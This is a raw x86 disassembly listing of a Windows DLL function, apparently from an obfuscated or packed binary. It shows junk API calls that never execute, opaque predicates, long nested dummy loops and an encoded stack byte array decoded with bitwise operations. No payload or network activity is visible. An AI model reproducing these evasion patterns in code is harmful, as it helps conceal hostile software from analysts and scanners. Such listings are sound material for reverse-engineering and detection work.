lea ecx, [ebp - 0x190c]
call fcn.1001ffcc
cmp dword [eax], 0
je 0x10036ec3
mov dword [ebp - 0xdac], 1
jmp 0x10036eca
and dword [ebp - 0xdac], 0
mov eax, dword [ebp - 0x178]
add eax, dword [ebp - 0xdac]
cmp eax, 0xffffffff
jge 0x10036ee7
mov dword [ebp - 0x8c4], 1
jmp 0x10036eee
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0x178]
imul eax, dword [ebp - 0x8c4]
mov dword [ebp - 0x1780], eax
jmp 0x10036dcb
mov byte [ebp - 0x160], 0
movzx eax, byte [ebp - 0x160]
test eax, eax
je 0x10036f26
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CheckRadioButton]
jmp 0x10036d9b
jmp 0x10036c4d
mov byte [ebp - 0x1b3], 0
movzx eax, byte [ebp - 0x1b3]
test eax, eax
je 0x10036f4c
push 0
push 0
call dword [sym.imp.USER32.dll_GetWindowPlacement]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x190c]
call fcn.1001ffb0
mov dword [ebp - 0x1788], 0x9ea8
lea eax, [ebp - 0x1788]
push eax
call fcn.1002ee89
pop ecx
mov dword [ebp - 0xfbc], eax
mov dword [ebp - 0x34], 0xf94f378
mov dword [ebp - 0x288], 0xffffffff
mov dword [ebp - 0x350], 0
jmp 0x10036fa2
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 1
jge 0x10036fbe
mov eax, dword [ebp - 0x350]
mov dword [ebp + eax*4 - 0x84], 0xc2e0cf57
jmp 0x10036f95
mov dword [ebp - 0x8e4], 0x78c1
mov dword [ebp - 0x1790], 0x1000abb8
cmp dword [ebp - 0x8e4], 0x7b6c
jle 0x10037057
and dword [ebp - 0x590], 0
jmp 0x10036ff4
mov eax, dword [ebp - 0x590]
inc eax
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 0x30db
jge 0x10037057
and dword [ebp - 0x358], 0
jmp 0x10037016
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x1338
jge 0x10037055
mov eax, dword [ebp - 0x590]
mov ecx, dword [ebp - 0x358]
sar eax, cl
cdq
mov dword [ebp - 0x1450], eax
mov dword [ebp - 0x144c], edx
push dword [ebp - 0x144c]
push dword [ebp - 0x1450]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x10037009
jmp 0x10036fe7
mov dword [ebp - 0x34], 0
jmp 0x10037067
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jg 0x100371e3
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x84], 0
jne 0x1003711f
mov eax, dword [ebp - 0x34]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x84]
cmp dword [ebp + eax*4 - 0x84], ecx
jl 0x100370a7
mov dword [ebp - 0x1024], 1
jmp 0x100370ae
and dword [ebp - 0x1024], 0
mov eax, dword [ebp - 0x34]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x84]
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x1024]
cmp eax, ecx
jl 0x100370d8
mov dword [ebp - 0x8cc], 1
jmp 0x100370df
and dword [ebp - 0x8cc], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x84]
cmp dword [ebp - 0x8cc], eax
jne 0x100370fd
mov dword [ebp - 0xdb4], 1
jmp 0x10037104
and dword [ebp - 0xdb4], 0
mov eax, dword [ebp - 0xdb4]
sub eax, 0xd0e
cmp eax, 0x8d9a
jge 0x1003711f
and dword [ebp - 0x8d4], 0
jmp 0x10037129
mov dword [ebp - 0x8d4], 1
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x288], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x84]
add eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x34]
jge 0x10037156
mov dword [ebp - 0x1244], 1
jmp 0x1003715d
and dword [ebp - 0x1244], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x84]
cmp dword [ebp - 0x1244], eax
jge 0x1003717b
mov dword [ebp - 0x8dc], 1
jmp 0x10037182
and dword [ebp - 0x8dc], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x84]
imul eax, dword [ebp - 0x8dc]
mov ecx, dword [ebp - 0x34]
cmp eax, dword [ebp + ecx*4 - 0x84]
jg 0x100371ab
mov dword [ebp - 0xdbc], 1
jmp 0x100371b2
and dword [ebp - 0xdbc], 0
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0xdbc]
mov dword [ebp + eax*4 - 0x84], ecx
mov byte [ebp - 0x162], 0
movzx eax, byte [ebp - 0x162]
test eax, eax
je 0x100371de
push 0
push 0
call dword [sym.imp.USER32.dll_RemovePropA]
jmp 0x10037060
cmp dword [ebp - 0x8e4], 0x7883
jge 0x100371ff
mov edx, dword [ebp - 0x1790]
mov ecx, 0x1008bbb8
call fcn.100228da
mov dword [ebp - 0x288], 0
jmp 0x10037218
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0xc
jge 0x10037238
mov dword [ebp - 0x1798], 1
cmp dword [ebp - 0x1798], 0
je 0x10037236
jmp 0x10037238
jmp 0x1003720b
mov dword [ebp - 0x360], 0xfffffffe
mov dword [ebp - 0x678], 0
jmp 0x1003725b
mov eax, dword [ebp - 0x678]
inc eax
mov dword [ebp - 0x678], eax
cmp dword [ebp - 0x678], 2
jge 0x10037277
mov eax, dword [ebp - 0x678]
mov dword [ebp + eax*4 - 0x1d08], 1
jmp 0x1003724e
mov dword [ebp - 0x360], 0
jmp 0x10037290
mov eax, dword [ebp - 0x360]
dec eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0xffffffff
jl 0x100372f4
mov dword [ebp - 0x22c], 0
mov byte [ebp - 0x189], 0
movzx eax, byte [ebp - 0x189]
test eax, eax
je 0x100372bd
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
mov dword [ebp - 0x22c], 0
jmp 0x100372d6
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 2
jge 0x100372f2
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0x1d08], 0
jmp 0x100372c9
jmp 0x10037283
push 1
lea ecx, [ebp - 0x1314]
call fcn.1001ff2e
mov dword [ebp - 4], 5
push 3
lea ecx, [ebp - 0x17d8]
call fcn.1001ff2e
mov byte [ebp - 4], 6
mov dword [ebp - 0x17a8], 0
mov dword [ebp - 0x17b0], 0xfa3dfad5
mov dword [ebp - 0x1db8], 1
mov dword [ebp - 0x1c14], 0
mov dword [ebp - 0x1dcc], 0xfffffffd
push 1
lea ecx, [ebp - 0x1d44]
call fcn.1001ff2e
mov byte [ebp - 4], 7
push 2
lea ecx, [ebp - 0x1ab0]
call fcn.1001ff2e
mov byte [ebp - 4], 8
mov dword [ebp - 0x14], 0
jmp 0x1003737d
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x10037399
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1314]
call fcn.1001ffcc
mov dword [eax], 0x97eede0b
jmp 0x10037376
mov dword [ebp - 0x102c], 0x31a2
mov dword [ebp - 0x17a0], 0x1000abf8
cmp dword [ebp - 0x102c], 0x33e8
jle 0x10037430
and dword [ebp - 0x598], 0
jmp 0x100373cf
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 0x7ee5
jge 0x10037430
and dword [ebp - 0x368], 0
jmp 0x100373f1
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0x478b
jge 0x1003742e
mov eax, dword [ebp - 0x598]
xor eax, dword [ebp - 0x368]
cdq
mov dword [ebp - 0x145c], eax
mov dword [ebp - 0x1458], edx
push dword [ebp - 0x1458]
push dword [ebp - 0x145c]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x100373e4
jmp 0x100373c2
mov dword [ebp - 0x14], 0
jmp 0x10037440
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1003745c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x17d8]
call fcn.1001ffcc
mov dword [eax], 0x63ab1943
jmp 0x10037439
cmp dword [ebp - 0x102c], 0x3115
jge 0x10037478
mov edx, dword [ebp - 0x17a0]
mov ecx, 0x1008bbb8
call fcn.100228da
mov dword [ebp - 0x14], 0
jmp 0x10037488
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x100374a4
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1d44]
call fcn.1001ffcc
mov dword [eax], 0x43d2717f
jmp 0x10037481
mov dword [ebp - 0x14], 0
jmp 0x100374b4
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x100374d0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1ab0]
call fcn.1001ffcc
mov dword [eax], 4
jmp 0x100374ad
push 0
lea ecx, [ebp - 0x1314]
call fcn.1001ffcc
cmp dword [eax], 0
jne 0x100374fd
push 0
lea ecx, [ebp - 0x17d8]
call fcn.1001ffcc
cmp dword [eax], 0
jne 0x100374fd
and dword [ebp - 0x8ec], 0
jmp 0x10037507
mov dword [ebp - 0x8ec], 1
push 0
lea ecx, [ebp - 0x1314]
call fcn.1001ffcc
mov eax, dword [eax]
cmp eax, dword [ebp - 0x8ec]
je 0x1003752a
mov dword [ebp - 0xdc4], 1
jmp 0x10037531
and dword [ebp - 0xdc4], 0
push 0
lea ecx, [ebp - 0x17d8]
call fcn.1001ffcc
mov ecx, dword [ebp - 0xdc4]
cmp ecx, dword [eax]
jl 0x10037554
mov dword [ebp - 0x8f4], 1
jmp 0x1003755b
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x17a8]
cmp dword [ebp - 0x8f4], eax
jl 0x10037575
mov dword [ebp - 0x1164], 1
jmp 0x1003757c
and dword [ebp - 0x1164], 0
cmp dword [ebp - 0x1164], 0
je 0x100375a3
push 0
lea ecx, [ebp - 0x17d8]
call fcn.1001ffcc
cmp dword [eax], 0
je 0x100375a3
mov dword [ebp - 0x8fc], 1
jmp 0x100375aa
and dword [ebp - 0x8fc], 0
push 0
lea ecx, [ebp - 0x1314]
call fcn.1001ffcc
mov esi, dword [eax]
sub esi, dword [ebp - 0x8fc]
push 0
lea ecx, [ebp - 0x1314]
call fcn.1001ffcc
cmp esi, dword [eax]
je 0x100375dc
mov dword [ebp - 0xdcc], 1
jmp 0x100375e3
and dword [ebp - 0xdcc], 0
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0x17b0], eax
push 1
lea ecx, [ebp - 0x1ab0]
call fcn.1001ffcc
mov dword [ebp - 0x904], eax
mov eax, dword [ebp - 0x904]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x904]
mov dword [ecx], eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1ab0]
call fcn.1001ffb0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1d44]
call fcn.1001ffb0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x17d8]
call fcn.1001ffb0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1314]
call fcn.1001ffb0
mov byte [ebp - 0x2bc], 0xc
mov byte [ebp - 0x2bb], 7
mov byte [ebp - 0x2ba], 8
mov byte [ebp - 0x2b9], 0x38
mov byte [ebp - 0x2b8], 4
mov byte [ebp - 0x2b7], 0xa
mov byte [ebp - 0x2b6], 5
mov byte [ebp - 0x2b5], 0x17
mov byte [ebp - 0x2b4], 2
mov byte [ebp - 0x2b3], 6
mov byte [ebp - 0x2b2], 6
mov byte [ebp - 0x2b1], 7
mov byte [ebp - 0x2b0], 0
mov byte [ebp - 0x2af], 0x34
mov byte [ebp - 0x2ae], 3
mov byte [ebp - 0x2ad], 0x11
mov byte [ebp - 0x2ac], 0xa
mov byte [ebp - 0x2ab], 0x13
mov byte [ebp - 0x2aa], 1
mov byte [ebp - 0x2a9], 0x20
mov byte [ebp - 0x2a8], 7
mov byte [ebp - 0x2a7], 0xc
mov byte [ebp - 0x2a6], 9
mov byte [ebp - 0x2a5], 7
mov byte [ebp - 0x2a4], 0xb
mov byte [ebp - 0x2a3], 0x16
mov byte [ebp - 0x2a2], 3
mov byte [ebp - 0x2a1], 0x37
mov byte [ebp - 0x2a0], 0x32
mov byte [ebp - 0x29f], 0x77
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x90], 0xfff6
push 1
lea ecx, [ebp - 0x7d0]
call fcn.1001ff2e
mov dword [ebp - 4], 9
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x630], 0
jmp 0x1003776c
mov eax, dword [ebp - 0x630]
inc eax
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 1
jge 0x1003778e
push dword [ebp - 0x630]
lea ecx, [ebp - 0x7d0]
call fcn.1001ffcc
mov dword [eax], 1
jmp 0x1003775f
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x1034], eax
push 0
lea ecx, [ebp - 0x7d0]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x1034]
mov dword [eax], ecx
cmp dword [ebp - 0x1034], 0
je 0x10037b15
push 0
lea ecx, [ebp - 0x7d0]
call fcn.1001ffcc
cmp dword [eax], 0
jne 0x100377f6
push 0
lea ecx, [ebp - 0x7d0]
call fcn.1001ffcc
cmp dword [eax], 0
jne 0x100377f6
and dword [ebp - 0x90c], 0
jmp 0x10037800
mov dword [ebp - 0x90c], 1
mov eax, dword [ebp - 0x26c]
cmp dword [ebp - 0x90c], eax
jg 0x1003781a
mov dword [ebp - 0x17b8], 1
jmp 0x10037821
and dword [ebp - 0x17b8], 0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x1c1c], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x1dd4], eax
push 0
lea ecx, [ebp - 0x7d0]
call fcn.1001ffcc
mov dword [ebp - 0xdd4], eax
push 0
lea ecx, [ebp - 0x7d0]
call fcn.1001ffcc
mov ecx, dword [ebp - 0xdd4]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0xdd4]
cmp dword [ecx], eax
jle 0x1003787f
mov dword [ebp - 0x17c0], 1
jmp 0x10037886
and dword [ebp - 0x17c0], 0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x1c24], eax
cmp dword [ebp - 0x90], 0
je 0x10037b15
mov dword [ebp - 0x7c0], 0xfec1b16e
mov dword [ebp - 0x914], 0x4c26
mov dword [ebp - 0x17c8], 0x1000ac24
cmp dword [ebp - 0x914], 0x4d38
jle 0x100379ac
and dword [ebp - 0x370], 0
jmp 0x100378e3
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0x2113
jge 0x100379a6
and dword [ebp - 0x5a0], 0
jmp 0x10037909
mov eax, dword [ebp - 0x5a0]
inc eax
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 0x506
jge 0x100379a1
and dword [ebp - 0x378], 0
jmp 0x1003792f
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0x6e07
jge 0x1003799c
and dword [ebp - 0x6a0], 0
jmp 0x10037951
mov eax, dword [ebp - 0x6a0]
inc eax
mov dword [ebp - 0x6a0], eax
cmp dword [ebp - 0x6a0], 0x5c67
jge 0x1003799a
mov eax, dword [ebp - 0x370]
sub eax, dword [ebp - 0x5a0]
xor eax, dword [ebp - 0x378]
or eax, dword [ebp - 0x6a0]
cdq
mov dword [ebp - 0x1468], eax
mov dword [ebp - 0x1464], edx
push dword [ebp - 0x1464]
push dword [ebp - 0x1468]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x10037944
jmp 0x10037922
jmp 0x100378fc
jmp 0x100378d6
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x18b4], 0x95e1
cmp dword [ebp - 0x914], 0x4994
jge 0x100379d2
mov edx, dword [ebp - 0x17c8]
mov ecx, 0x1008bbb8
call fcn.100228da
push 0
lea ecx, [ebp - 0x7d0]
call fcn.1001ffcc
cmp dword [eax], 0
je 0x10037a21
mov eax, dword [ebp - 0x7c0]
shl eax, 1
cmp eax, dword [ebp - 0x18b4]
jge 0x10037a00
mov dword [ebp - 0x1204], 1
jmp 0x10037a07
and dword [ebp - 0x1204], 0
mov eax, dword [ebp - 0x7c0]
add eax, dword [ebp - 0x1204]
je 0x10037a21
mov dword [ebp - 0x91c], 1
jmp 0x10037a28
and dword [ebp - 0x91c], 0
mov eax, dword [ebp - 0x7c0]
cmp eax, dword [ebp - 0x91c]
jl 0x10037a42
mov dword [ebp - 0xddc], 1
jmp 0x10037a49
and dword [ebp - 0xddc], 0
cmp dword [ebp - 0xddc], 1
je 0x10037a5e
mov dword [ebp - 0x18bc], 1
jmp 0x10037a65
and dword [ebp - 0x18bc], 0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x1e30], eax
xor eax, eax
inc eax
cmp eax, 0xffff
jne 0x10037a87
mov dword [ebp - 0x924], 1
jmp 0x10037a8e
and dword [ebp - 0x924], 0
mov esi, dword [ebp - 0x924]
dec esi
push 0
lea ecx, [ebp - 0x7d0]
call fcn.1001ffcc
cmp esi, dword [eax]
jg 0x10037ab2
mov dword [ebp - 0x103c], 1
jmp 0x10037ab9
and dword [ebp - 0x103c], 0
mov eax, dword [ebp - 0x26c]
cmp dword [ebp - 0x103c], eax
jge 0x10037ad3
mov dword [ebp - 0x92c], 1
jmp 0x10037ada
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x92c]
sub eax, dword [ebp - 0x26c]
imul esi, eax, 0x869e
push 0
lea ecx, [ebp - 0x7d0]
call fcn.1001ffcc
mov dword [eax], esi
mov byte [ebp - 0x164], 0
movzx eax, byte [ebp - 0x164]
test eax, eax
je 0x10037b13
call dword [sym.imp.USER32.dll_GetMessageTime]
jmp 0x10037b8b
mov dword [ebp - 0xde4], 1
mov dword [ebp - 0x90], 0
jmp 0x10037b38
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x16
jg 0x10037b8b
mov eax, dword [ebp - 0xde4]
dec eax
mov dword [ebp - 0xde4], eax
mov dword [ebp - 0x208], 0
jmp 0x10037b67
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0
jg 0x10037b89
push dword [ebp - 0x208]
lea ecx, [ebp - 0x7d0]
call fcn.1001ffcc
mov dword [eax], 0x4965da1f
jmp 0x10037b5a
jmp 0x10037b2b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7d0]
call fcn.1001ffb0
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x2bc]
or eax, 0x50
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x2bc]
and ecx, 0x50
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x2bc]
mov byte [ebp + ecx - 0x1324], al
push 1
lea ecx, [ebp - 0x214]
call fcn.1001ff2e
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x1794], 0x11e69d08
mov dword [ebp - 0xb8], 0
jmp 0x10037c0a
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 2
jge 0x10037c26
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x770], 0x99841b3c
jmp 0x10037bfd
mov dword [ebp - 0xb8], 0
jmp 0x10037c3f
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 1
jge 0x10037c61
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
mov dword [eax], 0xbb67
jmp 0x10037c32
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x770], 0
jmp 0x10037c8f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x770]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x770], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x770], 4
je 0x10037e49
mov dword [ebp - 0x60], 0xfd1e814b
mov dword [ebp - 0x60], 0
jmp 0x10037cba
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jl 0x10037e44
mov dword [ebp - 0x934], 0xffffffff
mov dword [ebp - 0x116c], 0xffffffff
mov byte [ebp - 0x1a1], 0
movzx eax, byte [ebp - 0x1a1]
test eax, eax
je 0x10037cf6
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1c2c], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x934], eax
mov eax, dword [ebp - 0x934]
mov dword [ebp - 0x116c], eax
mov esi, dword [ebp - 0x116c]
push dword [ebp - 0x60]
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
cmp esi, dword [eax]
jge 0x10037d38
mov dword [ebp - 0x944], 1
jmp 0x10037d3f
and dword [ebp - 0x944], 0
push 0
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
mov esi, eax
push dword [ebp - 0x60]
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
mov ecx, dword [esi]
cmp ecx, dword [eax]
jl 0x10037d6e
mov dword [ebp - 0x93c], 1
jmp 0x10037d75
and dword [ebp - 0x93c], 0
push dword [ebp - 0x60]
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x93c]
cmp ecx, dword [eax]
je 0x10037d99
mov dword [ebp - 0xdec], 1
jmp 0x10037da0
and dword [ebp - 0xdec], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0xdec], eax
jle 0x10037db7
mov dword [ebp - 0x1044], 1
jmp 0x10037dbe
and dword [ebp - 0x1044], 0
mov eax, dword [ebp - 0x944]
cmp eax, dword [ebp - 0x1044]
jge 0x10037dd8
mov dword [ebp - 0x18c0], 1
jmp 0x10037ddf
and dword [ebp - 0x18c0], 0
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1ca4], eax
push dword [ebp - 0x60]
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
mov esi, eax
push 0
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x10037e2d
mov byte [ebp - 0x149], 0
movzx eax, byte [ebp - 0x149]
test eax, eax
je 0x10037e2b
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetPixel]
jmp 0x10037e3f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x770], 0
je 0x10037e3f
jmp 0x10037e44
jmp 0x10037cb3
jmp 0x10037c74
push 0
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
cmp dword [eax], 0
jne 0x10037f3b
push 0
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
push 4
pop ecx
shl ecx, 0
mov esi, dword [eax]
sub esi, dword [ebp + ecx - 0x770]
push 0
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
cmp esi, dword [eax]
jne 0x10037e98
mov dword [ebp - 0x94c], 1
jmp 0x10037e9f
and dword [ebp - 0x94c], 0
push 0
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
mov eax, dword [eax]
cmp eax, dword [ebp - 0x94c]
jg 0x10037ec2
mov dword [ebp - 0xdf4], 1
jmp 0x10037ec9
and dword [ebp - 0xdf4], 0
cmp dword [ebp - 0xdf4], 1
jl 0x10037ee4
push 0
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
cmp dword [eax], 0
jne 0x10037eff
push 0
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
cmp dword [eax], 0
jne 0x10037eff
and dword [ebp - 0x954], 0
jmp 0x10037f09
mov dword [ebp - 0x954], 1
push 0
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x954]
cmp ecx, dword [eax]
jg 0x10037f32
push 0
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
cmp dword [eax], 0
jne 0x10037f3b
and dword [ebp - 0x6f0], 0
jmp 0x10037f45
mov dword [ebp - 0x6f0], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6f0]
mov dword [ebp + eax - 0x770], ecx
cmp dword [ebp - 0x6f0], 0xfffffffd
je 0x10037f6d
mov dword [ebp - 0x1284], 1
jmp 0x10037f74
and dword [ebp - 0x1284], 0
push 0
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
mov ecx, dword [ebp - 0x1284]
cmp ecx, dword [eax]
jg 0x10037f97
mov dword [ebp - 0x95c], 1
jmp 0x10037f9e
and dword [ebp - 0x95c], 0
push 0
lea ecx, [ebp - 0x214]
call fcn.1001ffcc
mov eax, dword [eax]
cmp eax, dword [ebp - 0x95c]
jle 0x10037fc1
mov dword [ebp - 0xdfc], 1
jmp 0x10037fc8
and dword [ebp - 0xdfc], 0
mov eax, dword [ebp - 0xdfc]
inc eax
cmp eax, 0xf8f9ed02
jae 0x10037fe2
mov dword [ebp - 0x964], 1
jmp 0x10037fe9
and dword [ebp - 0x964], 0
cmp dword [ebp - 0x964], 0xe0c28056
jae 0x10038007
mov eax, 0x45a9172c
test eax, eax
jne 0x10038007
and dword [ebp - 0x104c], 0
jmp 0x10038011
mov dword [ebp - 0x104c], 1
cmp dword [ebp - 0x104c], 0x8b5a
jg 0x10038029
mov dword [ebp - 0x96c], 1
jmp 0x10038030
and dword [ebp - 0x96c], 0
mov eax, dword [ebp - 0x96c]
mov dword [ebp - 0x1794], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x214]
call fcn.1001ffb0
mov dword [ebp - 0x3c], 2
and dword [ebp - 0x218], 0
jmp 0x10038063
cmp dword [ebp - 0x3c], 0x1e
jae 0x1003927f
mov dword [ebp - 0x638], 1
mov dword [ebp - 0xe04], 0x7944
mov dword [ebp - 0x13e4], 0x1000ac60
cmp dword [ebp - 0xe04], 0x7b27
jle 0x10038170
and dword [ebp - 0x380], 0
jmp 0x100380b1
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0x24b8
jge 0x10038170
and dword [ebp - 0x5a8], 0
jmp 0x100380d7
mov eax, dword [ebp - 0x5a8]
inc eax
mov dword [ebp - 0x5a8], eax
cmp dword [ebp - 0x5a8], 0x574a
jge 0x1003816b
and dword [ebp - 0x388], 0
jmp 0x100380fd
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0x3748
jge 0x10038166
mov eax, dword [ebp - 0x380]
xor eax, dword [ebp - 0x5a8]
or eax, dword [ebp - 0x388]
cdq
mov dword [ebp - 0x1474], eax
mov dword [ebp - 0x1470], edx
push dword [ebp - 0x1470]
push dword [ebp - 0x1474]
lea ecx, [ebp - 0x2220]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1330], eax
mov ecx, dword [ebp - 0x1330]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x2220]
call fcn.1001fbea
jmp 0x100380f0
jmp 0x100380ca
jmp 0x100380a4
mov dword [ebp - 0x390], 0
cmp dword [ebp - 0xe04], 0x76c9
jge 0x10038192
push dword [ebp - 0x13e4]
call fcn.100714f3
pop ecx
mov dword [ebp - 0x5b0], 0x4e665969
mov dword [ebp - 0x774], 0x478c38ec
mov dword [ebp - 0xe1c], 0xcd54
push 1
lea ecx, [ebp - 0x1924]
call fcn.1001ff2e
mov dword [ebp - 4], 0xb
mov dword [ebp - 0xf8], 0
jmp 0x100381dd
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 2
jge 0x100381f9
mov eax, dword [ebp - 0xf8]
mov dword [ebp + eax*4 - 0x195c], 0x72159124
jmp 0x100381d0
mov dword [ebp - 0xf8], 0
jmp 0x10038212
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 1
jge 0x10038234
push dword [ebp - 0xf8]
lea ecx, [ebp - 0x1924]
call fcn.1001ffcc
mov dword [eax], 0xfff6
jmp 0x10038205
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x638], 0
je 0x1003825e
mov eax, 0x672d
test eax, eax
je 0x1003825e
mov dword [ebp - 0x974], 1
jmp 0x10038265
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x974]
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 0x226c
jne 0x10038289
